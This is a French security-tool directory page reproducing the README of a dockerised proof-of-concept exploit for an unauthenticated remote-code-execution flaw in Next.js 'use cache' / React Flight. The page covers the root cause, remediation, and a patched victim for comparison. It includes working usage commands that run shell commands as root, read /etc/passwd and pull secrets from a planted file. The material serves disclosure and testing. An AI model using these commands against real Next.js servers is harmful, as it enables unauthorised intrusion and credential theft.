Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/rudsarkar/ghsa-673q-mjm6-r5xr
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebArticles et RechercheDéveloppement de Charges Utiles
GitHub
Partager
rudsarkar/ghsa-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr

Preuve de concept dockerisée pour GHSA-673q-mjm6-r5xr : une seule requête non authentifiée permet d'obtenir une RCE dans Next.js use cache / React Flight, avec une victime corrigée à des fins de comparaison.

Voir le dépôt
il y a 8 joursPas encore vérifié

GHSA-673q-mjm6-r5xr — PoC RCE distante (Next.js use cache / React Flight)

Exécution de code à distance non authentifiée dans les fonctions use cache renvoyant des tableaux typés Next.js >=16.0.0 <16.4.1 · CVSS v4 9.5 Critique · CWE-502 (Désérialisation de données non fiables) Cause racine en amont : React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-* < 19.2.9 / 19.1.10 / 19.0.9 / 19.3.1). Corrigé dans Next.js 16.4.1.

Une preuve de concept distante entièrement fonctionnelle et dockerisée : un attaquant réseau envoie une seule requête HTTP non authentifiée et exécute des commandes arbitraires en tant que root à l'intérieur du conteneur victime. Une victime corrigée, construite à partir des mêmes sources, est immunisée.

 attacker container  ──HTTP POST /profile (crafted body)──▶  victim container (Next.js-style
   (no privileged access)                                     `use cache` Flight boundary)
          ▲                                                           │
          └──────────── GET /proof  ◀── server-side `id`, SECRET.txt exfil ──┘

Il s'agit d'une reproduction autonome du transport Flight exact des React Server Components que Next.js intègre (react-server-dom-webpack), épinglée aux versions vulnérable (19.2.8) et corrigée (19.2.9). Voir CASE-STUDY.md pour l'analyse complète de la cause racine.


TL;DR

make demo         # builds images, starts both victims, pwns the vulnerable one,
                  # then shows the same exploit fail against the patched one

ou étape par étape :

docker compose up -d --build victim victim-patched   # :3000 vulnerable, :3001 patched
docker compose run --rm poc                     # RCE vs :3000   -> exit 0
docker compose run --rm poc-patched             # safe   vs :3001 -> exit 1
docker compose run --rm evidence                     # root-cause reproducers, side by side

Prérequis : Docker + Docker Compose. Aucun accès Internet nécessaire à l'exécution (uniquement au moment de la construction pour récupérer les paquets npm épinglés).


Ce que vous verrez

Face à la victime vulnérable ([email protected]) :

[+] REMOTE CODE EXECUTION CONFIRMED
    command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
    host    : 648b3c59052e  user: root  pid: 1
    --- command output (executed on the victim) ---
    | uid=0(root) gid=0(root) groups=0(root)
    |
    | === exfiltrated /app/SECRET.txt ===
    | DB_PASSWORD=hunter2
    | API_KEY=sk-live-7f3c9a21b0e4
    | FLAG{GHSA-673q-mjm6-r5xr-rce}
    |
    | Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux

Face à la victime corrigée ([email protected]), la requête identique se décode en une carte de profil inoffensive — les octets de l'attaquant restent à l'intérieur de la chaîne displayName et ne deviennent jamais des instructions de protocole :

[-] No code execution observed. Target is PATCHED.
    decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}

Le modèle vulnérable

La victime met en cache une « carte de profil » utilisateur avec une fonction use cache de style Next.js. La valeur mise en cache regroupe deux tableaux typés qui sont des vues sur le même ArrayBuffer (un avatar et une thumbnail découpés à partir d'une même image décodée — un modèle très courant de type « décoder une fois, découper des régions ») ainsi qu'une chaîne contrôlée par l'attaquant (le nom d'affichage issu de la requête) :

function getProfileCard(displayName) {
  'use cache'
  const decodedImage = new ArrayBuffer(8192 * 2)         // one decoded image
  const avatar    = new Uint8Array(decodedImage, 0, 8192)      // view 1
  const thumbnail = new Uint8Array(decodedImage, 8192, 8192)   // view 2 — SAME buffer
  return { avatar, thumbnail, displayName }                    // displayName = attacker input
}

Lorsque l'encodeur Flight de React diffuse le premier grand tableau typé dans un ReadableStream d'octets, l'ArrayBuffer partagé est détaché (sémantique de transfert des WHATWG Streams). Le byteLength de la seconde vue devient silencieusement 0 — après que son en-tête de chunk a déjà déclaré la longueur d'origine. Le décodeur lit alors au-delà, avalant le cadrage du flux et permettant aux octets de displayName de l'attaquant d'être interprétés comme des lignes brutes du protocole Flight, qui injectent une Server Reference choisie par l'attaquant. React l'invoque lors de la lecture du cache → RCE. Analyse complète dans CASE-STUDY.md.


Layout

.
├── README.md                 you are here
├── CASE-STUDY.md             full root-cause + exploitation write-up
├── docker-compose.yml        victim (vuln), victim-patched, poc, evidence
├── Makefile                  make demo / up / exploit / evidence / clean
├── victim/
│   ├── Dockerfile            ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│   ├── server.js             faithful Next.js `use cache` encode→store→decode pipeline
│   └── app-modules.js        the server module graph the injected reference resolves against
├── poc/
│   ├── Dockerfile
│   └── exploit.js            remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
    ├── 01-encoder-desync.cjs       header declares N bytes, writes 0
    ├── 02-type-confusion-sink.cjs  thenable whose .then is a server reference
    ├── 03-full-chain-rce.cjs       desync → injection → command execution
    ├── run.sh                      runs all three against vuln AND patched
    ├── sample-run.txt              captured output
    └── upstream-diffs/             the real Next.js 16.4.0 → 16.4.1 patch diffs

Tests manuels

Le client poc est piloté par des options. Consultez son manuel complet :

docker compose run --rm poc -h          # or:  node poc/exploit.js -h
USAGE
  node exploit.js [options]

OPTIONS
  -t, --target <url>     Base URL of the victim           (default: http://localhost:3000)
  -c, --cmd <command>    Shell command to run on the victim
      --timeout <ms>     Per-request timeout in ms         (default: 15000)
      --dry-run          Build and print the payload; do not send anything
  -h, --help             Show this help and exit
      --version          Print version and exit

Exemples :

# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'

# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run

# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'

# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile

# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq

Remédiation

Mettez à niveau Next.js vers ≥ 16.4.1 (qui embarque le runtime React Flight corrigé). Si vous dépendez directement de react-server-dom-webpack / -turbopack / -parcel, mettez à niveau vers 19.2.9, 19.1.10, 19.0.9 ou 19.3.1. Il n'existe aucun contournement au niveau applicatif pour une fonction use cache affectée — la mise à niveau est la seule correction.

Utilisation responsable

Ce PoC ne cible que les deux conteneurs jetables qu'il construit. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests.

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    350
  • 4

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    292

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →